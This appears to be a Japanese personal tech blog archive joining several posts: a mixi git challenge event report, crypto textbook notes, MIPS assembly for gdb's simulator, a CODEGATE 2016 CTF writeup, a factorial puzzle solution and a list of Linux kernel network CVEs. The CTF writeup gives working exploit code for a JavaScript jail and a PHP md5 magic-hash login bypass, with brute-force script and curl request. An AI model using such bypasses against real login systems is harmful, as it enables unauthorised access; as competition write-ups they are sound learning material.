git challenge 参加したよーヾノ*>ㅅ<)ノシ(2016/8/21)
(禁則事項☆を犯さないようにぼかし気味で書きますよ)
※写真はmixiの方が撮影したものです
概要
2016年8月21日(日)に、mixiグループ主催の1dayイベント「git challenge」にtomoriで参加しました(アッ
会場にはエンジニアと人事(!)の方、参加者16名のみなさんがいらしゃいました。
# 会場(=mixiの本社)があるビルはコンサートホールのようなシックな内装です。
# 1つクソな点を挙げるとしたら、エレベータのボタンがどこにあるのかわかりにくいところです(写真なし)。
11時開始、19時終了のイベントです。競技時間は3時間くらいだったと思います。
午前の部
お昼の前にチュートリアルがありました。
の内容そのままでした。 あとは自動ジャッジシステムとしてCircleCIが採用されていて、それの利用登録もしました。 CircleCIは初めてでしたが、hookの設定やビルドターゲットの設定は簡単に行えました。 (設定ファイルの書き換えが面倒くさそうですね。) CircleCIのコンテナにsshすると、チェッカースクリプト含めて何でも見れてしまうらしく、ssh接続即失格のルールまでありました。
おひる!
8/21はハワイ州爆誕的な日なやつらしく、その関係でハワイ特集でした。
ガーリックなんちゃらのお弁当を取りましたが、油っこかったです…(美味しいんですけどね)。 大盛りも選べるようになってて、僕はそれを食べられたので満足です。
お昼ご飯は各チームが自分の席で座って食べました。 チューターさんも同席されてて、次のようなお話をしました。
- mixiのサービスで、glibc mallocでなく、googleのmallocの実装(TCMalloc)を採用して性能比較してみた件
- 僕(@K_atc)がrubyでなくpythonにこだわる理由(pythonのライブラリの品揃えの観点でお話したんだけど、伝わったのかな…)
- 技術的な困難さで古いperlで書かれたサービスを使い続ける場合と、既存アプリケーションを別の言語・上位バージョンで書き直す場合のコスト面での比較
- JSフレームワーク(mixiはReact+AngularJS 2厨?)とテストフレームワーク
僕はReactをちらっとしか見てないですが、チューターさんいわく、変にTypeScriptとかで書くのでなく、おとなしくJSXで書いたほうが何かと楽らしいっす。
# 専門外の話を振り気味でスミマセンでしたヾ(。>﹏<。)ノ゙
競技前の準備
各チームのgithub organization?に問題のprivate repoのinviteを受け取って、そのリポジトリをCircleCIに追加する作業をしました。 全リポジトリ(全18個=全18問)を手動で追加する簡単な作業です(白目)
競技!(約3時間)
問題は全18問でレベル1からレベル6までありました。 レベルの値(星の数)=点数です。 僕はレベル1を1つ、レベル2を3つ解いて終了しました😇
問題を解いていて困ったことがあればチューターさんにいろいろ尋ねることができます。 僕も結構助けていただけました〜><(ありがとうございます!) 知見などは次の節にまとめて書きます。
force pushなどでリモートリポジトリをぶっ壊してリセットしたい場合は、前のボタン(赤緑の2つあるがどちらを押してもいいとのこと)を押してhuman workerを起動し、チーム名とリセット対象リポジトリを引数にしてイベントを発火します。しばらくするとリセットされます。 問題なのはボタンを押すとピポーンとデカイ音が鳴ることです。
おやつ(リラックマ化)
ハワイ特集なのでマラサダというドーナッツとジュースが振る舞われました。
競技終了&解説会
CTFと違って、Writeup禁止(※お察しの通り問題は使い回し)なのでぼかして知見をまとめます。
- gitの便利なサブコマンドたちを活用しよう
- リモートがローカルよりも先に進んでいる&手元のブランチをmasterにマージする必要があるときは
pull
/merge
の順番に注意 .git
の中身にもそろそろ詳しくなろう- レベル2に3つ以上のサービス問題がある(知っていれば瞬殺可能←その問題はノーチェックだったのでつらい…)
- SourceTreeゴリ押しで一位になれる
一人の絶大な貢献で上位に入れる傾向がありました(1チーム2人でした)。 次参加される方は、自分の力でチームを勝利に導ける程度の筋肉をつけておきたいところですね。
結果発表
うちのBチームは中位でした。はい😇
1位〜3位までが表彰されました。 商品は Octocat 大or小 でした。 1位は例によってメダル授与です(イイナー)。 表彰された方については、当人がブログやツイッターで自慢しているかと思いますので敢えて書きません。
懇親会(タダ飯!)
油!油!(えらくクオリティ高かったです)
[写真なし]
余りを翌日の朝食として持ち帰ることができました(ありがたや〜)。
今日だけで2回、なんで(友利奈緒)着てないのと言われてしまいました><
次のときは着ますよ?いいんですね?
今回で3回目の開催だそうです。 それにしてもジャッジシステムも落ちずに稼働してましたし、安定した運営でした。すごい💪
某インフラエンジニアさんを参加者数名で囲って伺った話(とても興味深い内容でした):
- その方の仕事内容
- ラックサーバーの入れ替えはいい運動になる
- アプリケーション・データベースサーバーの配置と構成
- AWSは○
- 外注するときの話
- チート対策
総括
mixiの皆様、貴重な機会をありがとうございました。
商業的な匂いやリクルーティングの匂いを最小限に抑えられていて良かったと思います(=勉強会に近い雰囲気)。
ただ、名札に大学名・高専名を書く意味って全然ないよなー思いました(そういう思想の会社なのかなと思われても仕方ないですね)。
# 個人の技能とその大学が授業・講義としてやったことはほぼ無関係ですよね…
僕のgit力はまだまだだなぁと思いました。サブコマンドで便利そうなのが結構ありそうなので覚えていこうと思いました。
# そろそろCTF対策で.git
の中身を熟知したほうがいいかもしれない
CTFでもそうですが(最近は改善傾向)、僕がサービス問題を見落としがちなのは本当に良くないなぁという感想です😇
『暗号理論入門』(丸善出版)勉強メモ 4.8.1 ECBモード
大学の本屋で15%OFFのセールがあった日に『暗号理論入門』(丸善出版)を買いました。\高い/
- 作者: 林芳樹
- 出版社/メーカー: 丸善出版
- 発売日: 2012/04/20
- メディア: 単行本
- この商品を含むブログを見る
以下は 4.6節の「ブロック暗号」と、4.8節の「ブロック暗号のモード」のうち4.8.1節「ECBモード」の勉強メモです。 といってもすんなり理解できなかった所に自分の説明を追加しただけです。
準備
定義 4.6.1 ブロック暗号とは、平文空間と暗号文空間が である暗号方式であるとする。ここで、 はアルファベット 上の長さ の全ての語の集合である。ブロック長 は自然数である。
定理 4.6.2 ブロック暗号の暗号化関数は置換である。
証明省略
最も一般的なブロック暗号を以下のように説明することができる。ブロック長 と一つのアルファベット を固定するとする。平文空間と暗号文空間は とする。 鍵空間は、 上のすべての置換の集合 とする。一つの鍵 に暗号化関数
が対応する。これに対する復号化関数は
である。
この本では次の置換暗号を取り上げていました。
置換暗号を考えてみると、この暗号では記号の位置の変換により成立する置換のみを使う。 であれば、この置換はビット置換である。 鍵空間は置換群 である。 に対して、
とおけば、それに対する復号化関数は
であるので、鍵空間は 個の元をもち、個々の鍵は 個の数の数列としてコード化できる。
ECBモードの例題
ここからが僕がハマった箇所です。
例 4.8.1 長さ のビットベクトル上でビット置換を行うブロック暗号を考える。すなわち、アルファベット とブロック長 の置換暗号を考える。ここでは であり、 に対して
となる。 平文 を
とし、鍵を
$$ \pi = \begin{pmatrix} 1 & 2 & 3 & 4 \\ 2 & 3 & 4 & 1 \end{pmatrix} $$
とする。
ブロック長が4なので、この長さでmをブロックに分けます。
さて を10進変換するとそれぞれ なのですが、 で置換できなそうですね。 …と考えるのはダメで、問題文をよく読まないといけません。(僕は問題文をよく読まない人です。) 「置換暗号」と書いてありますね?しかも「ビット置換」をするとあります。 準備で説明したことを思い出すと、 の見方は、 各 番目の数をそれぞれ 番目に持っていくということです。 下位ビットから 番目という割り当てです。 例えば の3番め(0)と の1番目(1)はそれぞれ4番めと2番めに移動します。 よって、各ブロックの暗号化の結果は、
で、暗号文は
になります。
はてなブログの数式モードクソすぎだね。 そういえば4.10節の「アフィン暗号」を読んでいるときに network & crypto なCTFの問題を思いつきました。
kozosのcross-gcc4でmipsアセンブリをコンパイルし、gdbのsimで実行する
(mips書くのは久しぶりでいろいろミスっているかもしれない)
動作環境
kozosのVMイメージのcross-gcc4が入った方
アセンブリ編
#include <unistd.h> int main(){ write(1, "Hello World\n", 12); // stdout = 1 return 0; }
愚直にmipsのアセンブリに落とし込むとこんな感じだろうか。いろいろ足りないので順を追って埋めていこう。
.data hello: .asciiz "Hello World\n" .text # write(1, hello, 12); lw $ra, 4($sp) # restore return address
write()を書く
write()関数はmipsで書くとどんな感じなのだろうか。 とりあえず今回はgdbのsimで動かすのでソースを見てwrite()のアセンブリを調べる。
『熱血!アセンブラ入門』を読むとsim向けにmipsのアセンブリを書いてみたがあるのでそれを参考にすると、 sim/mips/interp.cあたりを読めばシミュレータ向けのwrite()を発行する方法が分かる。
1162 /* Simple monitor interface (currently setup for the IDT and PMON monitors) */ 1163 int 1164 sim_monitor (SIM_DESC sd, 1165 sim_cpu *cpu, 1166 address_word cia, 1167 unsigned int reason) 1168 { 1176 reason >>= 1; 1181 switch (reason) 1182 kan++>STM32F>リンカスクリプト](http://www.usamimi.info/~mikanplus/stm32f/linker_script.htm){ ... 1203 case 8: /* int write(int file,char *ptr,int len) */ 1204 { ... 1216 } ... 1254 case 17: /* void _exit() */ 1255 { 1256 sim_io_eprintf (sd, "sim_monitor(17): _exit(int reason) to be coded\n"); 1257 sim_engine_halt (SD, CPU, NULL, NULL_CIA, sim_exited, 1258 (unsigned int)(A0 & 0xFFFFFFFF)); 1259 break; 1260 }
swtich-case に入ったときに reason が 8 になったときにwrite()
ができる。
sim_monitor()
を呼び出す命令列の条件を調べよう。
1783 if ((instruction & RSVD_INSTRUCTION_MASK) == RSVD_INSTRUCTION) 1784 { 1785 int reason = (instruction >> RSVD_INSTRUCTION_ARG_SHIFT) & RSVD_INSTRUCTION_ARG_MASK; 1786 if (!sim_monitor (SD, CPU, cia, reason)) 1787 sim_io_error (sd, "sim_monitor: unhandled reason = %d, pc = 0x%s\n", reason, pr_addr (cia)); 1788 1789 /* NOTE: This assumes that a branch-and-link style 1790 instruction was used to enter the vector (which is the 1791 case with the current IDT monitor). */ 1792 sim_engine_restart (SD, CPU, NULL, RA); 1793 }
(instruction & RSVD_INSTRUCTION_MASK) == RSVD_INSTRUCTION
がその条件のようだ。
マクロを展開するとこのようになる:instruction & 0xFC00003F == 0x39
75 #define RSVD_INSTRUCTION (0x00000039) 76 #define RSVD_INSTRUCTION_MASK (0xFC00003F)
なんだけど、これは嘘で、RSVD_INSTRUCTIONが5でないとVMの方で動作しないはず。 5が39になったのはこのコミットのせいらしい。
というわけで、正しくはinstruction & 0x3F == 0x5
。
ついでにinterp.cを調べると、 sim_monitorに入る前のreasonの値は、sim_monitorのswitch-case文のcaseの値をxとして
((x << 1) << RSVD_INSTRUCTION_ARG_SHIFT) & RSVD_INSTRUCTION_ARG_MASK
つまり
x << 7
に等しい。
78 #define RSVD_INSTRUCTION_ARG_SHIFT 6 79 #define RSVD_INSTRUCTION_ARG_MASK 0xFFFFF
というわけで、お望みの関数を呼びたいときはswitch-caseのcaseの値をxとして次の命令(instruction)を書けば良い:
.long (x << 7 | 0x5)
書くときは()内の式を計算してからにする。例えばwrite()の場合はx=8なので
.long (8 << 7) | 0x5
つまり .long 0x405
をアセンブリ命令として書くとwrite()をシミュレータで呼ぶことができる。
__write: # sim/mips/interp.c (case 8: write()) .long 0x405 # 8 << 7 | 0x5 = 0x400 | 0x5 - jr $ra nop
スタートアップルーチン
プログラムを実行するためにまず初期化の処理をする。 コンパイラが自動でしてくれない以下の処理を自分で記述せねばならない。
『熱血!アセンブラ入門』を参考に以下のスタートアップルーチンを書いた。 32ビットのスタックポインタの設定が一命令で完結しないのは即値が16ビットの幅しかないためである。
また、_start
をgccにスタートアップのシンボルとして認識してもらうために、_start
シンボルを.globl(.global)
ディレクティブでエクスポートした。
.globl _start _start: lui $sp, %hi(_estack) addiu $sp, $sp, %lo(_estack) jal main nop # daley slot move $a0, $v0 # exit(0)
残りのアセンブリを書く
mipsでは関数の引数はregister渡しである。第一引数は$a0、第二引数は$a1という具合だ。 write()を呼び出すアセンブリはこのようになる。
# in mips, function parameters are passed by registers li $a0, 1 la $a1, hello li $a2, 12 jal __write # write(stdout, "Hello World\n", 12)
mainが終了した後はexit()でシミュレーションを終了させたい。 exit()はこのように書けばシミュレータを終了させることができる。
_exit: # sim/mips/interp.c (case 17: _exit()) .long 0x885 # 17 << 7 | 0x5 = 0x880 | 0x005 jr $ra nop # delay slot
最後に気をつけたいのはリターンアドレスを関数を呼び出す前に保存し、関数から戻ったらそれを復元することだ。
mipsで関数funcを扱うとき、呼び出しはjal func
と書き、呼び出し元に戻る処理はjr $ra
と書く。
mipsのjal(jump and link)命令はリターンアドレスレジスタ$raに現在の$pcの値をセットする。
$raは呼び出し1回ぶんしか保存できないので、例えばmain()→write()と呼び出したとき、write()を呼び出しで$raが上書きされ、
main()でjr $ra
をしてmain()の呼び出し元に戻ることができなくなってしまう。
jr(jump register)命令はターゲットのレジスタに入っているアドレスにジャンプする命令である。
対策としてmain()で$raをスタックに保存&リストアする処理を書く(hello.s参照)。
完成したソースhello.sとし保存する。
.data hello: .asciiz "Hello World\n" .text .globl _start _start: lui $sp, %hi(_estack) addiu $sp, $sp, %lo(_estack) subu $sp, $sp, 4 sw $ra, 0($sp) jal main nop # daley slot lw $ra, 0($sp) addu $sp, $sp, 4 move $a0, $v0 # exit(0) _exit: # sim/mips/interp.c (case 17: _exit()) .long 0x885 # 17 << 7 | 0x5 = 0x880 | 0x005 jr $ra nop # delay slot __write: # sim/mips/interp.c (case 8: write()) .long 0x405 # 8 << 7 | 0x5 = 0x400 | 0x5 - jr $ra nop main: subu $sp, $sp, 4 # push stack sw $ra, 0($sp) # save return address # in mips, function parameters are passed by registers li $a0, 1 la $a1, hello li $a2, 12 jal __write # write(stdout, "Hello World\n", 12) lw $ra, 0($sp) # restore return address addu $sp, $sp, 4 # pop stack li $v0, 0 # return 0 jr $ra nop
リンカスクリプト編
さーて書けたぞーということでstdlibなしでコンパイルしたいところだが、_estak
の値(スタックポインタの初期位置)をコンパイルに教えねばならない。
また、メモリのマッピングをgdbのsimに合わせねばならない。
これを実現するのがリンカスクリプトである。
リンカスクリプトを書くために以下の情報が必要である。
- エントリポイントのアドレス
- スタック領域の終わりのアドレス(スタックはアドレスが小さい方に向かって伸びる)
情報を集める前にmipsのメモリマップの図が欲しいところだ。幸いWikipediaのR3000の頁にあった。
sim/mips/interp.cを探すと以下のアドレスの情報を見つけることができる。
121 /* Note that the monitor code essentially assumes this layout of memory. 122 If you change these, change the monitor code, too. */ 123 /* FIXME Currently addresses are truncated to 32-bits, see 124 mips/sim-main.c:address_translation(). If that changes, then these 125 values will need to be extended, and tested for more carefully. */ 126 #define K0BASE (0x80000000) 127 #define K0SIZE (0x20000000) 128 #define K1BASE (0xA0000000) 129 #define K1SIZE (0x20000000)
先ほどの図から察するに、プログラムはkナントカのスペースを使えば良さそうなので、
K0BASEの値をエントリポイント、K1BASE+K1SIZE-4を_estack
の値にする
(細かいことを気にしなければ_estackがK1BASEでも問題なく動く)。
ENTRY(_start) OUTPUT_FORMAT("elf32-bigmips", "elf32-bigmips", "elf32-big-mips"); /* sim/mips/interep.c: K1BASE + K1SIZE - 4 */ _estack = 0xBFFFFFFC; SECTIONS { /* sim/mips/interep.c: K0BASE */ . = 0x80000000; .text : { _ftext = . ; PROVIDE (eprol = .); *(.text) *(.text.*) } }
コンパイル編
stldlibなしで、先のリンカスクリプトを指定してコンパイルする。
[user@localhost mips]$ mips-elf-gcc -T mips.lds -nostdlib 1.s
実行
2通りで実行してみた。
sim_monitorのメッセージが嫌な人は回避策が『熱血!アセンブラ入門』に書かれているので購入をすすめる(ステマ)。
ヒントはsleep()
。
gdbのシミュレータに接続して実行する方法
一回目のr
で怒られたのはわざとやで((((;゚Д゚))))
[user@localhost mips]$ mips-elf-gdb -q a.out Reading symbols from /home/user/project/mips/a.out...(no debugging symbols found)...done. (gdb) target sim Connected to the simulator. (gdb) r Starting program: /home/user/project/mips/a.out warning: No program loaded. [Inferior 1 (process 42000) exited with code 057] (gdb) load Loading section .text, size 0x80 vma 0x80000000 Loading section .data, size 0xd vma 0x80000080 Start address 0x80000000 Transfer rate: 1128 bits in <1 sec. (gdb) r Starting program: /home/user/project/mips/a.out Hello World sim_monitor(17): _exit(int reason) to be coded [Inferior 1 (process 42000) exited normally] (gdb) q
runで実行する方法
[user@localhost mips]$ mips-elf-run a.out Hello World sim_monitor(17): _exit(int reason) to be coded
参考文献
- 熱血!アセンブラ入門 : 坂井 弘亮 : 本 : Amazon.co.jp
- X86アセンブラ/GASでの文法 - Wikibooks
- mikan++>STM32F>リンカスクリプト
- MIPS(4)
- MIPS Instruction Reference
この辺の話が好きな方は組込み技術者向け「初めてのC言語」にアクセスするとよいだろう。 (ドメインから察するに名大の情報コースの高田研の人が書いたっぽい。さすが…)
CODEGATE 2016 Quals - Writeup
i participated in CODEGATE 2016 Quals as a member of Ping-Mic.
solved:
- JS_is_not_a_jail (misc100)
helped to solve:
- Combination Pizza (web222)
JS_is_not_a_jail
First, i checked challenge100
function.
[JavaScript Jail] let start to type on 'challenge100' V8 version 5.1.0 (candidate) d8> challenge100 function (arr) { var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6"; var check = "20150303"; if((arr === null || arr === undefined)) { print("arr is null or undefined."); return; } if(!arr.hasOwnProperty('length')) { print("length property is null or undefined."); return; } if(arr.length >= 0) { print("i think you're not geek. From now on, a GEEK Only!"); return; } if(Object.getPrototypeOf(arr) !== Array.prototype) { print("Oh.... can you give me an array?"); return; } var length = check.length; for(var i=0;i<length;i++) { arr[i] = random_value[Math.floor(Math.random() * random_value.length)]; } for(i=0;i<length;i++) { if(arr[i] !== check[i]) { print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)"); return; } } print("Yay!!"); print(flag); } d8>
Next, I made class MyArray
. It has length
propaty which returns -1
, and its value cannot be re-write.
To prohibit re-write value, i used Object.defineProperty().
MyArray = function (){ this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; var _arr = MyArray(); console.log(Object.getOwnPropertyNames(_arr)); for(var i = 0; i <= 7; i+=1){ _arr = Object.defineProperty(_arr, i.toString(10), { writable: false }); } console.log(_arr.length); challenge100(_arr); function challenge100 (arr) { var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6"; var check = "20150303"; var print = console.log; var flag = "test_flag{this is test}"; if((arr === null || arr === undefined)) { print("arr is null or undefined."); return; } if(!arr.hasOwnProperty('length')) { print("length property is null or undefined."); return; } if(arr.length >= 0) { print("i think you're not geek. From now on, a GEEK Only!"); return; } if(Object.getPrototypeOf(arr) !== Array.prototype) { print("Oh.... can you give me an array?"); return; } var length = check.length; for(var i=0;i<length;i++) { arr[i] = random_value[Math.floor(Math.random() * random_value.length)]; } console.log(arr); for(i=0;i<length;i++) { if(arr[i] !== check[i]) { print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)"); return; } } print("Yay!!"); print(flag); }
Third, i ran this code locally to see if it works. node
is good for debugging environment.
Finally, i formatted this code, and pasted to JavaScript Jail.
MyArray = function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; var _arr = MyArray(); console.log(Object.getOwnPropertyNames(_arr)); for(var i = 0; i <= 7; i+=1){_arr = Object.defineProperty(_arr, i.toString(10), { writable: false });}
$ nc 175.119.158.131 1129 [JavaScript Jail] let start to type on 'challenge100' V8 version 5.1.0 (candidate) d8> MyArray = function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; var _arr = MyArray(); console.log(Object.getOwnPropertyNames(_arr)); for(var i = 0; i <= 7; i+=1){_arr = Object.defineProperty(_arr, i.toString(10), { writable: false });} challenge100(_arr);MyArray = function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; } d8> var _arr = MyArray(); undefined d8> console.log(Object.getOwnPropertyNames(_arr)); (d8):1: ReferenceError: console is not defined console.log(Object.getOwnPropertyNames(_arr)); ^ ReferenceError: console is not defined at (d8):1:1 d8> for(var i = 0; i <= 7; i+=1){_arr = Object.defineProperty(_arr, i.toString(10), { writable: false });} [] d8> challenge100(_arr);challenge100(_arr); Yay!! flag is "easy xD, get a more hardest challenge!" undefined
Combination Pizza
This is _login_ck.php
:
<?php include "./lib/for_flag.php"; include "./lib/lib.php"; $user = mysql_real_escape_string($_POST['user']); $pass = mysql_real_escape_string($_POST['pass']); $token = $_POST['token']; $que = "select user from login where user='{$user}' and pass=md5('{$pass}')"; $result = mysql_query($que); $row = mysql_fetch_array($result); if($row['user'] == 'Admin') { if(md5("blog".$token) == '0e689047178306969035064392896674') { echo "good job !!!<br />FLAG : <b>".$flag."</b>"; } else { echo "Incorrect Token"; } } else { echo "Incorrect ID or Password"; } ?>
i noticed that md5("blog".$token) == '0e689047178306969035064392896674'
should be 0 == 0
(numeric compare) in a cirtain $token
.
@mrtc0 found this post:
PHP: md5('240610708') == md5('QNKCDZO') | Hacker News
So i ran this php script:
<?php $test = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "p", "Q", "R", "S", "T", "U"]; for($i = 0, $len = count($test); $i < $len; $i += 1){ for($j = 0, $len = count($test); $j < $len; $j += 1){ for($k = 0, $len = count($test); $k < $len; $k += 1){ for($l = 0, $len = count($test); $l < $len; $l += 1){ for($m = 0, $len = count($test); $m < $len; $m += 1){ $token = "\n" . $test[$i] . $test[$j] . $test[$k] . $test[$l] . $test[$m]; if(md5("blog".$token) == '0e689047178306969035064392896674'){ echo "\$token = " . urlencode($token) . "\n => " . md5("blog".$token) . "\n"; } } } } } }
$ php ./web222_n.php $token = %0AtDMwy => 0e163908937933900237353340463810
Good!! $token = "%0AtDMwy"
gives me the flag:
curl http://175.119.158.137:9242/f00885da9ad9ad5fcccaa8fc1217e3ae/login_ck.php -d "user=Admin" -d "pass=adminpw" -d 'token=%0AtDMwy' good job !!!<br />FLAG : <b>jjambbong_WEBHACKING!!@!</b
paizaオンラインハッカソン Vol.7「プログラミングで彼女をつくる」 水着問題 [python]
これを受けて、水着問題の回答が思ったのと違ったので上げておきます。
問題
POH 「水着」ゲットチャレンジ!
階乗とは数学の演算の一つで、N の階乗をN! と書きます。N が自然数であるとき、階乗は次のように計算できます。
N! = N * (N - 1) * ... * 2 * 1
N が与えられたとき、N! のすべての桁の代わりに、N! の最下位桁から続く0 をすべて除いた値の下位9桁を求めるプログラムを作成してください。 9桁ではあるが先頭が0であるような場合は先頭の0を取り除いた値を出力してください。先頭に0のついた値を出力すると誤答となります。
例えば N = 38 の時は以下のようになります。 ※画像は問題のサイトより
コード
必要な桁だけを計算するように最適化しました(桁数をカットしながらやらないと制限時間を超えてしまう…)
import re #from functools import * from time import sleep #from math import factorial pattern = re.compile("(\d{9})0*$") def _format(n): t = str(n) if len(t) < 9: t = str(int(t[::-1]))[::-1] else: t = pattern.search(t).group(1) return int(t) #@lru_cache(maxsize=None) def factorial(n): ret = 1 for i in range(1, n+1): if i % 10 == 0: ret = _format(ret * i) else: ret *= i return _format(ret) i = input() n = int(i) try: print(factorial(n)) except: sleep(10) # 実行エラーが起きたことを分かるようにするため
実行結果
桁上げに着目すればpythonでも水着ゲットできるな pic.twitter.com/mGUsvp1uIZ
— 友利奈緒 (@K_atc) 2016, 1月 1
杏ちゃんは茶髪の制服姿が一番かわいいと思う
Linux KernelのネットワークI/Oに関わる脆弱性まとめ
Linux Linux Kernel : CVE security vulnerabilities, versions and detailed reportsで目grepで探したので見落としはあるかも
- JVNDB-2013-002918 - JVN iPedia - 脆弱性対策情報データベース * "ローカルユーザにより、TCP ソケットに対する巧妙に細工された splice システムコールを介して、サービス運用妨害 (システムクラッシュ) 状態にされる可能性があります。 "
- JVNDB-2007-000388 - JVN iPedia - 脆弱性対策情報データベース
- JVNDB-2004-000107 - JVN iPedia - 脆弱性対策情報データベース
JVNDB-2010-002992 - JVN iPedia - 脆弱性対策情報データベース
- CVE-2010-2959
- 攻撃元区分: ローカル
- 受信時に発生
- 数値処理の問題(CWE-189) [NVD評価]
- "攻撃者により、巧妙に細工された CAN トラフィックを介して、任意のコードを実行される、またはサービス運用妨害 (システムクラッシュ) 状態にされる可能性があります。"
JVNDB-2014-002005 - JVN iPedia - 脆弱性対策情報データベース
- CVE-2014-0077
- 攻撃元区分: 隣接
- vhost, 受信時限定
- 不適切な入力確認(CWE-20) [NVD評価]
- "巧妙に細工されたパケットを介して、ゲスト OS ユーザにより、サービス運用妨害 (メモリ破損およびホスト OS クラッシュ) 状態にされる、またはホスト OS の権限を取得される可能性があります。 "
JVNDB-2013-005001 - JVN iPedia - 脆弱性対策情報データベース ** "ローカルユーザにより、setsockopt システムコールの UDP_CORK オプションを使用して、ショートパケットおよびロングパケットの両方を送信する巧妙に細工されたアプリケーションを介して、サービス運用妨害 (メモリ破損およびシステムクラッシュ) 状態にされる、または権限を取得される可能性があります。"
- JVNDB-2013-004592 - JVN iPedia - 脆弱性対策情報データベース
- CVE-2013-4387
- 攻撃元区分: 隣接
- 送信時に発生
- バッファエラー(CWE-119) [NVD評価]
- "Linux Kernel の net/ipv6/ip6_output.c は、過度に大きなパケットの UDP Fragmentation Offload (UFO) キューイングの後に小さなパケットの UFO プロセッシング要求を適切に判定しないため、サービス運用妨害 (メモリの破損およびシステムクラッシュ) 状態にされるなど、不特定の影響を受ける脆弱性が存在します。 "
- "第三者により、過度に大きなレスポンスパケットを誘発するネットワークトラフィックを介して、サービス運用妨害 (メモリの破損およびシステムクラッシュ) 状態にされるなど、不特定の影響を受ける可能性があります。 "
- CVE - CVE-2011-4604 
- B.A.T.M.A.N. - Wikipedia, the free encyclopedia
- "The bat_socket_read function in net/batman-adv/icmp_socket.c in the Linux kernel before 3.3 allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via a crafted batman-adv ICMP packet. "
- JVNDB-2010-002713 - JVN iPedia - 脆弱性対策情報データベース
- "64-bit プラットフォーム上で稼働している Linux kernel の Controller Area Network (CAN) 実装内にある net/can/bcm.c の bcm_connect 関数には、ヒープベースのバッファオーバーフローの脆弱性が存在します。 "
- "ローカルユーザにより、接続操作を介して、サービス運用妨害 (DoS) 状態にされる可能性があります。 "
- JVNDB-2015-006569 - JVN iPedia - 脆弱性対策情報データベース
- JVNDB-2013-005438 - JVN iPedia - 脆弱性対策情報データベース